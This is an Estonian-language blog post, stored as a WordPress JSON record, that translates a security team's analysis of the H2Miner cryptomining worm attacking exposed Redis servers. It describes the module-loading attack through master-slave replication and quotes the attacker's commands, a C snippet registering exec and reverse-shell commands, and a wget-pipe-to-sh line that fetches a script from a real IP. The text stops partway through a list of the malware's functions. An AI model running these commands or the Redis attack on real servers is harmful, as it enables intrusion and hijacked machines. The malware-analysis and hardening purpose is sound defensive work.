{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Avastatud on uus H2Miner usside puhang, mis kasutab Redis RCE-d","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00dcks p\u00e4ev tagasi r\u00fcnnati \u00fche minu projekti serverit sarnase ussiga. Otsides vastust k\u00fcsimusele \"mis see t\u00e4pselt oli?\" leidsin suurep\u00e4rase artikli Alibaba Cloud Security meeskonnalt. Kuna ma ei leidnud seda artiklit Habrist, otsustasin selle spetsiaalselt teie jaoks t\u00f5lkida <3\n<\/p><\/blockquote>\n

Sissejuhatus<\/h2>\n

\nHiljuti avastas Alibaba Cloudi turvameeskond \u00e4kilise H2Miner puhangut. Selline pahavara kasutab autoriseerimise puudumist v\u00f5i n\u00f5rku paroole Redis, et p\u00e4\u00e4seda teie s\u00fcsteemidesse, s\u00fcnkroniseerides seej\u00e4rel oma pahatahtliku mooduli slave'iga master-slave s\u00fcnkroniseerimise kaudu ja l\u00f5puks laadides selle pahatahtliku mooduli r\u00fcnnatavasse masinasse ning t\u00e4ites pahatahtlikud juhised.<\/p>\n

Varasemalt toodi r\u00fcnnakud teie s\u00fcsteemide vastu peamiselt l\u00e4bi meetodi, mis h\u00f5lmas ajastatud \u00fclesandeid v\u00f5i SSH-v\u00f5tmeid, mis salvestati teie masinasse p\u00e4rast sissetungija sisse logimist Redis. \u00d5nneks ei ole see meetod sageli kasutatav, kuna see toob kaasa lubade kontrolli probleeme v\u00f5i erinevate s\u00fcsteemide versioonide t\u00f5ttu. Siiski v\u00f5ib see pahatahtliku mooduli laadimise meetod otseselt k\u00e4ivitada r\u00fcndaja k\u00e4sklusi v\u00f5i p\u00e4\u00e4seda juurde shellile, mis on teie s\u00fcsteemile ohtlik.<\/p>\n

Suure arvu serverid<\/a> Redis'e, mis on avatud internetis (peaaegu 1 miljon), kutsub Alibaba Cloudi turvameeskond s\u00f5bralikult kasutajaid \u00fcles mitte andma Redis'ile juurdep\u00e4\u00e4su internetist ning regulaarselt kontrollima oma paroolide usaldusv\u00e4\u00e4rsust ja ka selle suhtes, kas need on kiirelt \u00e4raarvatavad.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner on Linuxi p\u00f5histe s\u00fcsteemide kaevandamis-botnet, mis v\u00f5ib tungida teie s\u00fcsteemi erinevatel viisidel, sealhulgas autoriseerimise puudumisest Hadoop yawni, Dockerisse ja Redis'i kaugk\u00e4ivituskehtivuse (RCE) haavatavusest. Botnet t\u00f6\u00f6tab, laadides pahatahtlikke skripte ja pahavarasid teie andmete kaevandamiseks, laiendades r\u00fcnnakut horisontaalselt ning s\u00e4ilitades k\u00e4skluse ja kontrolli (C&C) \u00fchenduse.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nTeadmisi selle teema kohta jagas Pavel Toporkov ZeroNights 2018-l. P\u00e4rast versiooni 4.0 toetab Redis v\u00e4liste moodulite laadimise funktsiooni, mis v\u00f5imaldab kasutajatel laadida C keeles kompileeritud so-faile, et t\u00e4ita teatud Redis k\u00e4sklusi. See funktsioon on kasulik, kuid sellel on n\u00f5rkus, mille t\u00f5ttu v\u00f5ivad failid master-slave re\u017eiimis s\u00fcnkroniseeruda slave'i kaudu fullresync re\u017eiimis. Seda saab kurjategija kasutada pahatahtlike so-failide edastamiseks. P\u00e4rast edastamise l\u00f5petamist laadivad r\u00fcndajad mooduli r\u00fcnnatavasse Redis eksemplarisse ja t\u00e4idavad mis tahes k\u00e4sku.<\/p>\n

Pahatahtliku ussi anal\u00fc\u00fcs<\/h2>\n

\nHiljuti avastas Alibaba Cloudi turvameeskond, et H2Mineri pahatahtlike kaevandajate r\u00fchm on j\u00e4rsult suurenenud. Anal\u00fc\u00fcsi kohaselt ilmneb r\u00fcnnaku \u00fcldine protsess j\u00e4rgmiselt:<\/p>\n

\"Avastatud
\n
\nH2Miner kasutab RCE Redis'i t\u00e4ielikuks r\u00fcnnakuks. Esiteks r\u00fcndavad kurjategijad kaitsmata Redis servereid v\u00f5i servereid, millel on n\u00f5rgad paroolid.<\/p>\n

Seej\u00e4rel kasutavad nad k\u00e4sku config set dbfilename red2.so<\/code> failinime muutmiseks. P\u00e4rast seda t\u00e4idavad r\u00fcndajad k\u00e4sku slaveof<\/code> master-slave replikatsiooni hosti aadressi seadmiseks. <\/p>\n

Kui r\u00fcnnatav Redis eksemplar loob master-slave \u00fchenduse pahatahtliku Redis'iga, mis kuulub kurjategijale, saadab r\u00fcndaja nakatatud mooduli koos fullresync k\u00e4suga failide s\u00fcnkroniseerimiseks. Seej\u00e4rel laaditakse fail red2.so r\u00fcnnatavale masinale. P\u00e4rast seda kasutavad kurjategijad moodulit .\\\/red2.so selle so-faili laadimiseks. Moodul v\u00f5ib t\u00e4ita kurjategija k\u00e4ske v\u00f5i alustada tagurdus\u00fchendust (tagauks), et saada juurdep\u00e4\u00e4su r\u00fcnnatavale masinale.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nP\u00e4rast pahatahtliku k\u00e4su t\u00e4itmist, n\u00e4iteks \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, kustutab kurjategija varukoopia faili nime ja v\u00f5tab s\u00fcsteemimooduli v\u00e4ljalaske, et kustutada j\u00e4ljed. Siiski j\u00e4\u00e4b fail red2.so endiselt r\u00fcnnatavale masinasse. Kasutajatel soovitatakse p\u00f6\u00f6rata t\u00e4helepanu kahtlaste failide olemasolule oma Redis eksemplari kaustas.<\/p>\n
Lisaks teatud pahatahtlike protsesside kustutamisele ressursside varastamiseks, j\u00e4rgnes r\u00fcndaja pahatahtlikule stsenaariumile, laadides \u00fcles ja k\u00e4ivitades binaarfailides pahavara, et 142.44.191.122\/kinsing<\/a><\/noindex>. See t\u00e4hendab, et protsessi nimi v\u00f5i katalooge nimi, mis sisaldab kinsing\u2019u, v\u00f5ib viidata sellele, et see masin on selle viirusega nakatunud.<\/p>\n
Tagasikerimise tulemuste kohaselt t\u00e4idab pahavara peamiselt j\u00e4rgmisi funktsioone:<\/p>\n